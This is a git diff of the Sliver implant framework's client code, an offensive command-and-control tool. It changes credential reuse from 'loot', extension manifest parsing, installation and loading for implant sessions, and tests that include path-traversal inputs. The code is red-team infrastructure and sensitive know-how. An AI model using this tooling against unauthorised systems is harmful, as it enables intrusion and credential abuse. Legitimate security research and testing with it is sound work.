Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -149,18 +109,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
if confirm {
// cred, err := loot.SelectCredentials(con)
// if err != nil {
// con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
// } else {
// switch cred.CredentialType {
// case clientpb.CredentialType_API_KEY:
// privKey = []byte(cred.Credential.APIKey)
// case clientpb.CredentialType_USER_PASSWORD:
// username = cred.Credential.User
// password = cred.Credential.Password
// }
// }
cred, err := loot.SelectCredentials(con)
if err != nil {
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
} else {
switch cred.CredentialType {
case clientpb.CredentialType_API_KEY:
privKey = []byte(cred.Credential.APIKey)
case clientpb.CredentialType_USER_PASSWORD:
username = cred.Credential.User
password = cred.Credential.Password
}
}
}
return username, password, privKey
}
-55
View File
@@ -1,55 +0,0 @@
package exit
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
// ExitCmd - Exit the console
func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
fmt.Println("Exiting...")
if con.IsServer {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
os.Exit(1)
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
os.Exit(1)
}
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
confirm := false
prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
}
os.Exit(0)
}
+18 -23
View File
@@ -1,51 +1,46 @@
Extensions
===========
====
Allows to load and execute 3rd party extensions.
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── extension.json
├── manifest.json
└── windows
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"depends_on": "bar",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "extension.x64.o",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
@@ -56,7 +51,7 @@ The structure is the following one:
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
-141
View File
@@ -1,141 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"os"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
//for _, extension := range extensionm.ExtCommand {
installed := ""
if _, ok := installedManifests[extension.Manifest.Name]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Manifest.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Manifest.Version,
installed,
extension.Manifest.ExtensionAuthor,
extension.Manifest.OriginalAuthor,
extension.Manifest.RepoURL,
})
//}
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtCommand) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := os.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.Name] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
//installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range loadedExtensions {
results = append(results, manifest.CommandName)
results = append(results, manifest.Help)
}
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
})
}
func ManifestCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := []string{}
for k := range loadedManifests {
results = append(results, k)
}
return carapace.ActionValues(results...).Tag("extensions")
})
}
@@ -1,319 +0,0 @@
package extensions
import (
"encoding/json"
"testing"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
const (
sample1 = `{
"name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"commands":[
{
"command_name": "test1",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
sample3 = `{
"name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"commands": [
{
"command_name": "test3",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}
]
}`
multicmd = `{
"name": "example-multientry",
"version": "0.0.0",
"extension_author": "cs",
"original_author": "cs",
"repo_url": "no",
"commands": [
{
"command_name": "startw",
"help": "startw",
"entrypoint": "StartW",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "ex.dll"
}
]
},
{
"command_name": "Test2",
"help": "startw",
"entrypoint": "Test2",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "ex.dll"
}
]
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass
if extCmd.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName)
}
if extCmd.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extCmd.Help)
}
if len(extCmd.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extCmd.Files))
}
if extCmd.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS)
}
if extCmd.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
}
if extCmd.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path)
}
}
mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if mextManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name)
}
for _, extManifest2 := range mextManifest2.ExtCommand {
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
}
func TestParseMultipleCmdManifest(t *testing.T) {
mextManifest, err := ParseExtensionManifest([]byte(multicmd))
if err != nil {
t.Errorf("error parsing manifest: %s", err)
}
if mextManifest.Name != "example-multientry" {
t.Errorf("expected name example-multientry, got %s", mextManifest.Name)
}
if mextManifest.ExtCommand[0].CommandName != "startw" {
t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName)
}
if mextManifest.ExtCommand[1].CommandName != "Test2" {
t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName)
}
if mextManifest.ExtCommand[0].Entrypoint != "StartW" {
t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint)
}
if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
}
if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
}
if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
}
//maybe some more? args?
}
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.ExtCommand[0].CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.ExtCommand[0].Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.ExtCommand[0].Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.ExtCommand[0].Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.ExtCommand[0].Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.ExtCommand[0].Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.ExtCommand[0].Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
-144
View File
@@ -1,144 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
extLocalPath := args[0]
_, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
}
// Install an extension from a directory
func InstallFromDir(extLocalPath string, con *console.SliverConsoleClient, isGz bool) {
var manifestData []byte
var err error
if isGz {
manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
} else {
manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
}
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifestF, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
//create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(minstallPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version)
err = os.MkdirAll(minstallPath, 0o700)
if err != nil {
con.PrintErrorf("Error creating extension directory: %s\n", err)
return
}
err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(minstallPath)
return
}
for _, manifest := range manifestF.ExtCommand {
installPath := filepath.Join(minstallPath)
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
if isGz {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
} else {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
forceRemoveAll(installPath)
return
}
err = util.CopyFile(src, dst)
if err != nil {
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
}
}
if err != nil {
con.PrintErrorf("Error installing command: %s\n", err)
forceRemoveAll(installPath)
return
}
}
}
}
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = os.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
-55
View File
@@ -1,55 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+209 -498
View File
@@ -1,111 +1,49 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"log"
"io/ioutil"
"os"
"path"
"path/filepath"
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
appConsole "github.com/reeflective/console"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtCommand{}
var loadedManifests = map[string]*ExtensionManifest{}
var commandMap map[string]extensionCommand
type ExtensionManifest_ struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type ExtensionManifest struct {
Name string `json:"name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
ExtCommand []*ExtCommand `json:"commands"`
RootPath string `json:"-"`
}
type ExtCommand struct {
CommandName string `json:"command_name"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Manifest *ExtensionManifest
}
//type MultiManifest []*ExtensionManifest
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionArgument struct {
@@ -115,265 +53,162 @@ type extensionArgument struct {
Optional bool `json:"optional"`
}
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
break
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
return
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
// do not add if the command already exists
sliverMenu := con.App.Menu("implant")
for _, extCmd := range manyfest.ExtCommand {
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current command?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := os.ReadFile(manifestPath)
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
manifest, err := ParseExtensionManifest(data)
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
return nil, err
}
manifest.RootPath = filepath.Dir(manifestPath)
for _, extManifest := range manifest.ExtCommand {
loadedExtensions[extManifest.CommandName] = extManifest
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
loadedManifests[manifest.Name] = manifest
return manifest, nil
return extensionsCmds, nil
}
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
ret := &ExtensionManifest{
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
Version: old.Version,
ExtensionAuthor: old.ExtensionAuthor,
OriginalAuthor: old.OriginalAuthor,
RepoURL: old.RepoURL,
RootPath: old.RootPath,
//only one command exists in the old manifest, so we can 'confidently' create it here
ExtCommand: []*ExtCommand{
{
CommandName: old.CommandName,
DependsOn: old.DependsOn,
Help: old.Help,
LongHelp: old.LongHelp,
Entrypoint: old.Entrypoint,
Files: old.Files,
Arguments: old.Arguments,
},
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
//Manifest ref is done in the parser that calls this
return ret
con.App.AddCommand(extensionCmd)
}
// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one)
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
//maybe it's an old manifest
log.Println(err)
oldmanifest := &ExtensionManifest_{}
err := json.Unmarshal(data, &oldmanifest)
if err != nil {
//nope, just broken
return nil, err
}
//yes, ok, lets jigger it to a new manifest
extManifest = convertOldManifest(oldmanifest)
}
//pass ref to manifest to each command
for i := range extManifest.ExtCommand {
extManifest.ExtCommand[i].Manifest = extManifest
}
return extManifest, validManifest(extManifest)
}
func validManifest(manifest *ExtensionManifest) error {
if manifest.Name == "" {
return errors.New("missing `name` field in extension manifest")
}
for _, extManifest := range manifest.ExtCommand {
if extManifest.CommandName == "" {
return errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return errors.New("missing `files.arch` field in extension manifest")
}
